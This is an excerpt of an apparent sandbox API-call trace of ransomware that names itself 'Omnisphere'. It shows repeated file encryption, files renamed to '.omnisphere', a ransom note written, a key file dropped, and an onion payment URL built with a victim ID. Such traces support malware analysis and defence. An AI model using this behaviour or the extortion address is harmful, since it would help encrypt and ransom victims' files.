pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.727] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.727] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.727] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.727] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.727] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.727] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.727] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.727] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.727] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.727] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.727] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.727] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.727] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.727] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.727] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.727] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.727] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.727] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.727] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.728] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.728] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.728] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.728] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.728] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.728] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.728] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.728] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.728] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.728] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.728] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.728] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.728] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.728] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.728] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.728] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.728] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.728] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.728] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.728] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.729] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.729] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.729] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.729] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.729] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.729] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.729] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.729] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.729] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.729] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.729] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.729] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.729] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.729] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.729] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.729] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.729] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.729] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.729] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.729] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.730] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.730] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.730] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.730] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.730] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.730] CryptDestroyKey (hKey=0x16396e8) returned 1 [0126.730] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0126.730] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x43e, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.730] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.730] GetProcessHeap () returned 0x1600000 [0126.730] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a8) returned 0x16eb8a8 [0126.730] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ocb63v1.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ocb63v1.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ocb63v1.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ocb63v1.lnk.omnisphere")) returned 1 [0126.731] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ocb63v1.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ocb63v1.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ocb63v1.lnk.omnisphere.id" [0126.731] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ocb63v1.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ocb63v1.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.733] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.735] CloseHandle (hObject=0x3c0) returned 1 [0126.735] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.735] CloseHandle (hObject=0x288) returned 1 [0126.735] SetEndOfFile (hFile=0x28c) returned 1 [0126.735] FlushFileBuffers (hFile=0x28c) returned 1 [0126.739] CloseHandle (hObject=0x28c) returned 1 [0126.739] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ocb63v1.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.739] GetProcessHeap () returned 0x1600000 [0126.739] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16ed038 [0126.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.740] GetProcessHeap () returned 0x1600000 [0126.740] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d5618 [0126.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d5618, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.740] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.740] GetProcessHeap () returned 0x1600000 [0126.740] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d7f28 [0126.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d7f28, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.740] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.740] GetProcessHeap () returned 0x1600000 [0126.740] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d8700 [0126.740] PathCombineW (in: pszDest=0x16d8700, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.740] GetProcessHeap () returned 0x1600000 [0126.740] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16df8b0 [0126.740] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.741] WriteFile (in: hFile=0x28c, lpBuffer=0x16df8b0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16df8b0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.741] CloseHandle (hObject=0x28c) returned 1 [0126.741] GetProcessHeap () returned 0x1600000 [0126.741] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16ed038 | out: hHeap=0x1600000) returned 1 [0126.741] GetProcessHeap () returned 0x1600000 [0126.741] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.741] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.741] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.741] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.742] CloseHandle (hObject=0x28c) returned 1 [0126.742] GetProcessHeap () returned 0x1600000 [0126.742] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.742] GetProcessHeap () returned 0x1600000 [0126.742] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167c0c8 | out: hHeap=0x1600000) returned 1 [0126.742] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21a02103, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x21a02103, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x21a02103, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x398, dwReserved0=0x0, dwReserved1=0xd3, cFileName="oTth.lnk", cAlternateFileName="")) returned 1 [0126.742] GetProcessHeap () returned 0x1600000 [0126.742] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x92) returned 0x167b6c8 [0126.742] PathCombineW (in: pszDest=0x167b6c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="oTth.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oTth.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oTth.lnk" [0126.742] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.742] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oTth.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\otth.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.743] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=920) returned 1 [0126.743] GetTickCount () returned 0x115fa0c [0126.743] GetTickCount () returned 0x115fa0c [0126.743] GetTickCount () returned 0x115fa0c [0126.743] GetTickCount () returned 0x115fa0c [0126.743] GetTickCount () returned 0x115fa0c [0126.743] GetTickCount () returned 0x115fa0c [0126.743] GetTickCount () returned 0x115fa0c [0126.743] GetTickCount () returned 0x115fa0c [0126.743] GetTickCount () returned 0x115fa0c [0126.743] GetTickCount () returned 0x115fa0c [0126.743] GetTickCount () returned 0x115fa0c [0126.743] GetTickCount () returned 0x115fa0c [0126.743] GetTickCount () returned 0x115fa0c [0126.743] GetTickCount () returned 0x115fa0c [0126.743] GetTickCount () returned 0x115fa0c [0126.743] GetTickCount () returned 0x115fa0c [0126.743] GetTickCount () returned 0x115fa0c [0126.743] GetTickCount () returned 0x115fa0c [0126.743] GetTickCount () returned 0x115fa0c [0126.743] GetTickCount () returned 0x115fa0c [0126.743] GetTickCount () returned 0x115fa0c [0126.743] 